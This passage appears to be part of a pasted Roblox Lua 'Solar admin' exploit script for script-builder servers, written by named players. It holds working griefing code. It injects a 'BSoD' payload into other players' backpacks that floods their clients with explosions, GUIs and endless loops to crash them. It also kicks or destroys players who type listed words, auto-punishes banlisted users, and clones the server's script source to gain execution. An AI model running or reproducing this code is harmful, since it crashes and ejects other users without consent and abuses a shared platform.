  930. NewS("game:service'Players':findFirstChild('"..plr.Name.."'):Kick()", workspace)
  931. for i = 0,10,1 do
  932. Notify("Hard Banned "..plr.Name.."!")
  933. end
  934. end
  935. end
  936. end
  937. )
  938. AddCmd("Explore","explore","Explore the game",
  939. function()
  940. Explore()
  941. end
  942. )
  943. AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
  944. function()
  945. if SourceName ~= "source" then
  946. game:service'TeleportService':Teleport(game.PlaceId)
  947. else
  948. Output("This is alakazard's sb, can't teleport here.","Really red")
  949. end
  950. end
  951. )
  952. AddCmd("BSoD","bsod","BSoD a player",
  953. function(Plrs)
  954. for _, plr in pairs(Plrs) do
  955. if plr and plr.Backpack then
  956. for i = 0,7,1 do
  957. NewLS(BSoDSource, plr.Backpack)
  958. end
  959. end
  960. end
  961. end
  962. )
  963. --[[SOURCES]]--
  964. LBlock1 = [[
  965. LocalPlayer.descendantAdded:connect(function(what)
  966. if what:IsA("Script") or what:IsA("LocalScript") then
  967. if LBlock == false then return end
  968. if what.Name == "Health" then return end
  969. if what.Name == "HealthScript v3.1" then return end
  970. if what.Name == "Animate" then return end
  971. what.Disabled = true
  972. wait()
  973. what:Destroy()
  974. end
  975. end)
  976. ]]
  977. LBlock2 = [[
  978. LocalPlayer.Backpack.descendantAdded:connect(function(what)
  979. if what:IsA("Script") or what:IsA("LocalScript") then
  980. if LBlock == false then return end
  981. if what.Name == "Health" then return end
  982. if what.Name == "HealthScript v3.1" then return end
  983. if what.Name == "Animate" then return end
  984. what.Disabled = true
  985. wait()
  986. what:Destroy()
  987. end
  988. end)
  989. ]]
  990. LBlock3 = [[
  991. LocalPlayer.Character.descendantAdded:connect(function(what)
  992. if what:IsA("Script") or what:IsA("LocalScript") then
  993. if LBlock == false then return end
  994. if what.Name == "Health" then return end
  995. if what.Name == "HealthScript v3.1" then return end
  996. if what.Name == "Animate" then return end
  997. what.Disabled = true
  998. wait()
  999. what:Destroy()
  1000. end
  1001. end)
  1002. ]]
  1003. ConnectSource = [[
  1004. script:ClearAllChildren()
  1005. wait()
  1006. script.Parent = nil
  1007. Player = game.Players.LocalPlayer
  1008. while wait(0.1) do
  1009. if game.Lighting:findFirstChild("DISC: nil") then
  1010. if Player.Parent == nil then
  1011. Delay(0, wait)
  1012. end
  1013. end
  1014. if game.Lighting:findFirstChild("DISC: "..Player.Name) then
  1015. Delay(0, wait)
  1016. end
  1017. end
  1018. ]]
  1019. BSoDSource = [[
  1020. wait()
  1021. script.Parent = game:service'TeleportService'
  1022. CC = workspace.CurrentCamera
  1023. RS = game:service("RunService")
  1024. PG = game.Players.LocalPlayer.PlayerGui
  1025. C = game.Players.LocalPlayer.Character
  1026. function Lag()
  1027. coroutine.resume(coroutine.create(function()
  1028. while wait() do
  1029. M = Instance.new("Message",CC)
  1030. M.Text = tick()*math.floor(5%4*21)
  1031. H = Instance.new("Hint",CC)
  1032. H.Text = 'Get out from this place!'
  1033. SG=Instance.new("ScreenGui",PG)
  1034. FR=Instance.new("Frame",SG)
  1035. FR.Size = UDim2.new(500,500,500,500)
  1036. while wait() do
  1037. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1038. end
  1039. P=Instance.new("Part",CC)
  1040. E=Instance.new("Explosion",P)
  1041. E.BlastRadius=math.huge
  1042. E.Position=P.Position
  1043. F=Instance.new("Fire",P)
  1044. S=Instance.new("Smoke",P)
  1045. P.CFrame = CC.Focus
  1046. P.Anchored = true
  1047. P.CanCollide = false
  1048. P.AncestryChanged:connect(function()Lag()end)
  1049. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1050. end
  1051. end))
  1052. end
  1053. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
  1054. ]]
  1055. --[[LOCAL BLOCK]]--
  1056. loadstring(LBlock1)()
  1057. loadstring(LBlock2)()
  1058. loadstring(LBlock3)()
  1059. LocalPlayer.CharacterAdded:connect(function()
  1060. loadstring(LBlock2)()
  1061. loadstring(LBlock3)()
  1062. end)
  1063. --[[CONNECTIONS]]--
  1064. LocalPlayer.Chatted:connect(function(m)
  1065. Chat(m,ChatColor)
  1066. for i,v in pairs(Cmds) do
  1067. if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
  1068. v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
  1069. end
  1070. end
  1071. end)
  1072. for _,speaker in pairs(game:service'Players':GetPlayers()) do
  1073. if speaker.Name ~= LocalPlayer.Name then
  1074. if speaker.Name ~= "aleksa12432" then
  1075. if speaker.Name ~= "optiplex123" then
  1076. if speaker.Name ~= "Exorsizer" then
  1077. speaker.Chatted:connect(function(msg)
  1078. for _,v in pairs(MuteWords) do
  1079. if string.find(msg,v) then
  1080. if speaker and speaker.Backpack then
  1081. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1082. end
  1083. end
  1084. end
  1085. for _,v in pairs(BadWords) do
  1086. if string.find(msg, v) then
  1087. if speaker and found == true then
  1088. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1089. elseif speaker and found == false then
  1090. speaker:Destroy()
  1091. end
  1092. end
  1093. end
  1094. end)
  1095. end
  1096. end
  1097. end
  1098. end
  1099. end
  1100. game.Players.ChildAdded:connect(function(speaker)
  1101. if speaker:IsA("Player") then
  1102. if speaker.Name ~= LocalPlayer.Name then
  1103. if speaker.Name ~= "aleksa12432" then
  1104. if speaker.Name ~= "optiplex123" then
  1105. if speaker.Name ~= "Exorsizer" then
  1106. speaker.Chatted:connect(function(msg)
  1107. for _,v in pairs(MuteWords) do
  1108. if string.find(msg:lower(),v:lower()) then
  1109. if speaker and speaker.Backpack then
  1110. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1111. end
  1112. end
  1113. end
  1114. for _,v in pairs(BadWords) do
  1115. if string.find(msg:lower(),v:lower()) then
  1116. if speaker and found == true then
  1117. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1118. elseif speaker and found == false then
  1119. speaker:Destroy()
  1120. end
  1121. end
  1122. end
  1123. end)
  1124. end
  1125. end
  1126. end
  1127. end
  1128. end
  1129. end)
  1130. --[[START]]--
  1131. for i = 0,8,1 do
  1132. Output("")
  1133. end
  1134. Output("Welcome to Solar admin","Really red")
  1135. Output("This script is made by aleksa12432 and optiplex123","Really red")
  1136. if SourceName == "DSource" then
  1137. Output("You are on Anaminus SB","Really red")
  1138. elseif SourceName == "Source" then
  1139. Output("You are on Oxcool1 SB","Really red")
  1140. elseif SourceName == "source" then
  1141. Output("You are on qlqkqzqrd SB","Really red")
  1142. end
  1143. for _,v in pairs(game:service'Players':GetPlayers()) do
  1144. if v.Name ~= LocalPlayer.Name then
  1145. if v.Name ~= "aleksa12432" then
  1146. if v.Name ~= "optiplex123" then
  1147. if v.Name ~= "Exorsizer" then
  1148. Connect(v)
  1149. end
  1150. end
  1151. end
  1152. end
  1153. end
  1154. --[[LOOPS]]--
  1155. coroutine.wrap(function()
  1156. while wait(30) do
  1157. for _,v in pairs(game:service'Players':GetPlayers()) do
  1158. if v.Name ~= LocalPlayer.Name then
  1159. if v.Name ~= "aleksa12432" then
  1160. if v.Name ~= "optiplex123" then
  1161. if v.Name ~= "Exorsizer" then
  1162. if v.Backpack ~= nil then
  1163. NewLS(ConnectSource, v.Backpack)
  1164. end
  1165. end
  1166. end
  1167. end
  1168. end
  1169. end
  1170. end
  1171. end)()
  1172. game:service'Players'.ChildAdded:connect(function(player)
  1173. if player.Name ~= LocalPlayer.Name then
  1174. if player.Name ~= "aleksa12432" then
  1175. if player.Name ~= "optiplex123" then
  1176. if player.Name ~= "Exorsizer" then
  1177. wait(3)
  1178. Connect(player)
  1179. end
  1180. end
  1181. end
  1182. end
  1183. end)
  1184. game:GetService("RunService").RenderStepped:connect(function()
  1185. if TabModel.Parent ~= TabModelParent then return end
  1186. if TabModel == nil then return end
  1187. if LocalPlayer then
  1188. if LocalPlayer.Character then
  1189. if LocalPlayer.Character:findFirstChild("Torso") then
  1190. Rotation = Rotation + Speed
  1191. for i,v in pairs(Tabs) do
  1192. ypcall(function()
  1193. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
  1194. pos = LocalPlayer.Character.Torso.CFrame
  1195. else
  1196. pos = CFrame.new(0,0,0)
  1197. end
  1198. radius = 4 + (#Tabs * 0.5)
  1199. x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1200. y = 0
  1201. z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1202. arot = Vector3.new(x, y, z) + pos.p
  1203. brot = v.CFrame.p
  1204. crot = (arot * .1 + brot * .9)
  1205. v.CFrame = CFrame.new(crot, pos.p)
  1206. end)
  1207. end
  1208. end
  1209. end
  1210. end
  1211. end)
  1212. game:service'RunService'.RenderStepped:connect(function()
  1213. if TabModelDebounce == true then return end
  1214. if TabModel.Parent ~= TabModelParent then
  1215. TabModelDebounce = true
  1216. Tabs = {}
  1217. TabModel = Instance.new("Model", TabModelParent)
  1218. TabModel.Name = "Solar tabs"
  1219. Tabs = {}
  1220. Rotation = 0
  1221. wait()
  1222. TabModelDebounce = false
  1223. end
  1224. end)
  1225. coroutine.wrap(function()
  1226. while wait() do
  1227. for _,v in pairs(game:service'Workspace':children()) do
  1228. if v and v:IsA("StringValue") and v.Name == Code then
  1229. if v.Value ~= nil and v.Value ~= "" then
  1230. Output(v.Value,"Really red")
  1231. game:service'Debris':AddItem(v, 3)
  1232. end
  1233. end
  1234. end
  1235. end
  1236. end)()
  1237. coroutine.wrap(function()
  1238. while wait() do
  1239. for _,v in pairs(game:service'Players':GetPlayers()) do
  1240. pcall(function()
  1241. for j,k in pairs(Banlist) do
  1242. if v.Name == k then
  1243. if v:findFirstChild("Backpack") ~= nil then
  1244. NewLS("repeat until ucrappedurpants", v.Backpack)
  1245. end
  1246. end
  1247. end
  1248. for j,k in pairs(HardBanlist) do
  1249. if v.Name == k then
  1250. if v:findFirstChild("Backpack") ~= nil then
  1251. NewLS(BSoDSource, v.Backpack)
  1252. end
  1253. end
  1254. end
  1255. end)
  1256. end
  1257. end
  1258. end)()
  1259. while found == false do
  1260. if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
  1261. for _,ScriptInWorkspace in pairs(workspace:children()) do
  1262. if ScriptInWorkspace then
  1263. if ScriptInWorkspace:IsA("Script") then
  1264. if ScriptInWorkspace:FindFirstChild(SourceName) then
  1265. NewScript = ScriptInWorkspace:Clone()
  1266. wait()
  1267. NewScript.Name = "NewScript"
  1268. NewScript.Disabled = true
  1269. NewScript:FindFirstChild(SourceName).Value = ""
  1270. Output("Found a source!", "New Yeller")
  1271. found = true
  1272. break
  1273. end
  1274. end
  1275. end
  1276. end
  1277. wait()
  1278. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement